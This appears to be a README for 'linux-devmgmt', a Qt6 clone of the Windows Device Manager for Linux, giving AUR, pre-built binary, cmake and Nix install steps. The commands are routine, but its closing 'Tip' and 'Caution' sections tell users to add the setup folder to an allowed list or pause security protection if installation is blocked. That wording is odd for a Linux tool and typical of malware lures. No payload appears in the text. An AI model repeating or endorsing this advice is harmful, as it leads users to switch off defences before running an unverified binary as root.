linux-devmgmt

The Windows Device Manager, on Linux

A faithful recreation of the Windows Device Manager built with Qt6 and real hardware backends via sysfs/procfs. Best enjoyed with AeroThemePlasma, but looks great on regular KDE as well.

Note

Built for CachyOS / Arch Linux. Also packaged as a Nix flake for NixOS.
Some features (DKMS uninstall, driver date lookup) depend on dkms and pacman. Other distros may need minor adjustments.

Arch / CachyOS (AUR)

yay -S linux-devmgmt

Pre-built binaries

chmod +x devmgmt-x86_64
sudo mv devmgmt-x86_64 /usr/local/bin/devmgmt

Arch / CachyOS

sudo pacman -S qt6-base cmake
cmake -B build
./build/devmgmt

Nix

nix build
./result/bin/devmgmt

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.
